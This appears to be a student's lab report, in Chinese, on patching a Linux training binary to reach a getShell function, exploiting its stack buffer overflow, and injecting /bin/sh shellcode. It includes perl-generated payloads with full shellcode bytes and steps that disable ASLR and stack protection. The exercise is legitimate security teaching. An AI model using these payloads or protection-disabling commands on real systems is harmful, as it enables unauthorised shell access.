2018-2019-2 20165209 《网络对抗技术》Exp1:PC平台逆向破解

1 逆向及Bof基础实践说明

1.1 实践目标

  • 本次实践的对象是一个名为pwn1的linux可执行文件。

  • 该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。

  • 手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。

  • 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

  • 注入一个自己制作的shellcode并运行这段shellcode。

1.2 基础知识

  • 常用的Linux基本操作

    • objdump -d:从objfile中反汇编那些特定指令机器码的section。
    • perl -e:后面紧跟单引号括起来的字符串,表示在命令行要执行的命令。
    • xxd:为给定的标准输入或者文件做一次十六进制的输出,它也可以将十六进制输出转换为原来的二进制格式。
    • ps -ef:显示所有进程,并显示每个进程的UID,PPIP,C与STIME栏位。
    • |:管道,将前者的输出作为后者的输入。
    • :输入输出重定向符,将前者输出的内容输入到后者中。

  • NOP, JNE, JE, JMP, CMP汇编指令的机器码:

    • NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)
    • JNE:条件转移指令,如果不相等则跳转。(机器码:75)
    • JE:条件转移指令,如果相等则跳转。(机器码:74)
    • JMP:无条件转移指令。段内直接短转Jmp short(机器码:EB) 段内直接近转移Jmp near(机器码:E9) 段内间接转移 Jmp word(机器码:FF) 段间直接(远)转移Jmp far(机器码:EA)
    • CMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

2 直接修改程序机器指令,改变程序执行流程

  • 知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具

  • 学习目标:理解可执行文件与机器指令

  • 进阶:掌握ELF文件格式,掌握动态技术

  1. 使用objdump -d pwn1 | more将pwn1反汇编,得到以下代码(只展示部分核心代码):

  1. 修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff
 具体操作:
1. vi pwn1进入命令模式
2. 输入:%!xxd将显示模式切换为十六进制
3. 在底行模式输入/e8d7定位需要修改的地方,并确认
4. 进入插入模式,修改d7为c3
5. 输入:%!xxd -r将十六进制转换为原格式
6. 使用:wq保存并退出

  1. 再反汇编看一下,call指令是否正确调用getShell

  1. 输入./pwn1运行,可以得到shell提示符#

3 通过构造输入参数,造成BOF攻击,改变程序执行流

  • 知识要求:堆栈结构,返回地址

  • 学习目标:理解攻击缓冲区的结果,掌握返回地址的获取

  • 进阶:掌握ELF文件格式,掌握动态技术

3.1 反汇编,了解程序的基本功能

  • 利用foo()函数中buffer漏洞,输入足够长的字符串能够造成缓存区溢出,使其覆盖到返回地址。

  • 输入足够长的字符串,把原来的返回地址覆盖成现在getshell()的起始地址。

3.2 确认输入字符串哪几个字符会覆盖到返回地址

具体操作:

   1. 输入gdb pwd1_2进行调试
2. 输入r运行程序
3. 输入字符串111111112222222233333334444444412345678发现已经造成溢出
4. 输入info r 查看eip的值,发现输入的1234被覆盖到堆栈上的返回地址

  • 只要把1234这四个字符替换为 getShell 的内存地址,输给pwn1,pwn1就会运行getShell。

3.3 确认用什么值来覆盖返回地址

  • 正确应用输入 11111111222222223333333344444444\x7d\x84\x04\x08

3.4 构造输入字符串

  • 由为我们没法通过键盘输入\x7d\x84\x04\x08这样的16进制值,所以先生成包括这样字符串的一个文件。\x0a表示回车,如果没有的话,在程序运行时就需要手工按一下回车键。
具体步骤:

   1. 输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
2. 输入xxd input 查看input文件是否符合预期。
3. 然后将input的输入,通过管道符“|”,作为pwn1_2的输入。即输入 (cat input; cat) | ./pwn1_2 input的输入

4. 注入Shellcode并执行

4.1 准备一段Shellcode

  • shellcode就是一段机器指令(code)

    • 通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
    • 所以这段机器指令被称为shellcode。
    • 在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。

4.2 准备工作

  • 修改些设置。
具体步骤:

   1. apt-get install execstack //安装execstack命令
2. execstack -s pwn1 //设置堆栈可执行
3. execstack -q pwn1 //查询文件的堆栈是否可执行
4. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化
5. echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
6. more /proc/sys/kernel/randomize_va_space //查询是否关闭地址随机化

4.3 构造要注入的payload。

  • Linux下有两种基本构造攻击buf的方法:

    • retaddr+nop+shellcode
    • nop+shellcode+retaddr。
  • 因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。

  • 简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边

  • 我们结构为:nops+shellcode+retaddr。

具体步骤:

1. 输入 perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode

上面最后的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。
2. 输入 (cat input_shellcode;cat) | ./pwn1_3
3. 再开另外一个终端,用gdb来调试pwn1这个进程,输入 ps -ef | grep pwn1_3 命令找到pwn1_3的进程号是:33282
4. 用 attach 33323 命令启动gdb调试这个进程
5. 通过设置断点输入 disassemble foo 来查看注入buf的内存地址
6. 输入 break *0x080484ae 设置断点,输入 c 继续运行,同时在pwn1进程正在运行的终端敲回车,使其继续执行。
7. 再返回调试终端,使用info r esp命令查找地址
8. 输入 x/16x 0xffffd2fc 命令查看其存放内容0x01020304 就是返回地址的位置。根据我们构造的input_shellcode可知地址应为 0xffffd300
9. 输入 perl -e 'print "A" x 32;print "\x00\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode 将之前的\x4\x3\x2\x1改为这个地址
10. 输入 (cat input_shellcode;cat) | ./pwn1_3 执行程序,攻击成功!

实验中遇到的问题及解决过程

  • 问题:运行pwn1权限不够

  • 解决:输入chmod +x pwn1后再运行即可

实验感想

  • 第一次在对源文件进行反汇编之后,更改其中的内容,并且追踪寄存器地址。虽然之前有了解过缓存区溢出攻击,但是这是第一次实践,也让我觉得很有意思。指导再详细,还是需要实践才能真正的掌握,希望以后能更好的学习这门课程。

  • 什么是漏洞?漏洞有什么危害?

    • 缓冲区溢出就是输入的内容超过分配的缓冲区大小,溢出的内容没有被立刻检查,从而破坏堆栈覆盖原始数据,使得可以进行未授权的操作。
    • 会导致程序运行失败、系统关机、重新启动,或者执行攻击者的指令。

2018-2019-2 20165209 《网络对抗技术》Exp1:PC平台逆向破解的更多相关文章

  1. 20155324《网络对抗》Exp1 PC平台逆向破解(5)M

    20155324<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为~pwn1~的~linux~可执行文件. 该程序正常执行流程是:~main~调用~foo~ ...

  2. 20155232《网络对抗》 Exp1 PC平台逆向破解(5)M

    20155232<网络对抗> Exp1 PC平台逆向破解(5)M 实验内容 (1).掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(1分) (2)掌握反汇编与十六进制编程 ...

  3. 20155227《网络对抗》Exp1 PC平台逆向破解(5)M

    20155227<网络对抗>Exp1 PC平台逆向破解(5)M 实验目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  4. 2018-2019-2 20165236郭金涛《网络对抗》Exp1 PC平台逆向破解

    2018-2019-2 20165236郭金涛<网络对抗>Exp1 PC平台逆向破解 一.实验内容 1.掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码(0.5分) 2.掌 ...

  5. 20155208徐子涵 《网络对抗》Exp1 PC平台逆向破解

    20155208徐子涵 <网络对抗>Exp1 PC平台逆向破解 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数 ...

  6. 20145325张梓靖 《网络对抗技术》 PC平台逆向破解

    20145325张梓靖 <网络对抗技术> PC平台逆向破解 学习任务 shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中,并 ...

  7. # 《网络对抗》Exp1 PC平台逆向破解20155337祁家伟

    <网络对抗>Exp1 PC平台逆向破解20155337祁家伟 实践目标 本次实践的对象是一个名为pwn1的linux可执行文件. 该程序正常执行流程是:main调用foo函数,foo函数会 ...

  8. 20145206邹京儒《网络对抗技术》 PC平台逆向破解

    20145206邹京儒<网络对抗技术> PC平台逆向破解 注入shellcode并执行 一.准备一段shellcode 二.设置环境 具体在终端中输入如下: apt-cache searc ...

  9. 20145331魏澍琛 《网络对抗技术》 PC平台逆向破解

    20145331魏澍琛 <网络对抗技术> PC平台逆向破解 学习任务 1.shellcode注入:shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对方的堆栈中 ...

  10. 20145336张子扬 《网络对抗技术》 PC平台逆向破解

    #20145336张子扬 <网络对抗技术> PC平台逆向破解 ##Shellcode注入 **基础知识** Shellcode实际是一段代码,但却作为数据发送给受攻击服务器,将代码存储到对 ...

随机推荐

  1. 使用Wireshark分析QQ聊天

  2. R缺失数据处理

    > open<-c(2529,2468,2417,NA) > high<-c(2529,2483,2419,2419) > SSEC<-data.frame(ope ...

  3. 爬虫自动登陆GitHub

    import requests from bs4 import BeautifulSoup r1 = requests.get( url='https://github.com/login' ) s1 ...

  4. url分发、isinstance、request.GET请求之QueryDict和urlencode、post和get请求、limit_choices_to(Model字段)

    这个的路径是怎么来的,是有一个个的url路由分发过来的 这两个是相等的,若url后面加括号了,那么前面就不用这个装饰器了:反之,若装饰器使用了,那么这个url后面就不要加括号了 eg:其他的views ...

  5. 爬虫之Scrapy详解

    性能相关 在编写爬虫时,性能的消耗主要在IO请求中,当单进程单线程模式下请求URL时必然会引起等待,从而使得请求整体变慢. import requests def fetch_async(url): ...

  6. 利用 background 和 filter 模糊指定区域

    背景知识:background-size: cover;,background-attachment:fixed;,filter:blur() 难题: 通常,我们会通过filter:blur()去实现 ...

  7. centos 安装laravel

    1.下载composer并全局安装 curl -sS https://getcomposer.org/installer | php 2.查看全局命令目录 echo $PATH 移动composer到 ...

  8. poj1182 食物链【并查集-好题!】

    动物王国中有三类动物A,B,C,这三类动物的食物链构成了有趣的环形.A吃B, B吃C,C吃A.  现有N个动物,以1-N编号.每个动物都是A,B,C中的一种,但是我们并不知道它到底是哪一种. 有人用两 ...

  9. hadoop命令运行,去除:WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform 警告

    参照:Hadoop之—— WARN util.NativeCodeLoader: Unable to load native-hadoop library for your platform... 修 ...

  10. hihocoder 1334 - Word Construction - [hiho一下第170周][状态压缩+DFS]

    题目链接:https://hihocoder.com/problemset/problem/1334 时间限制:10000ms 单点时限:1000ms 内存限制:256MB 描述 Given N wo ...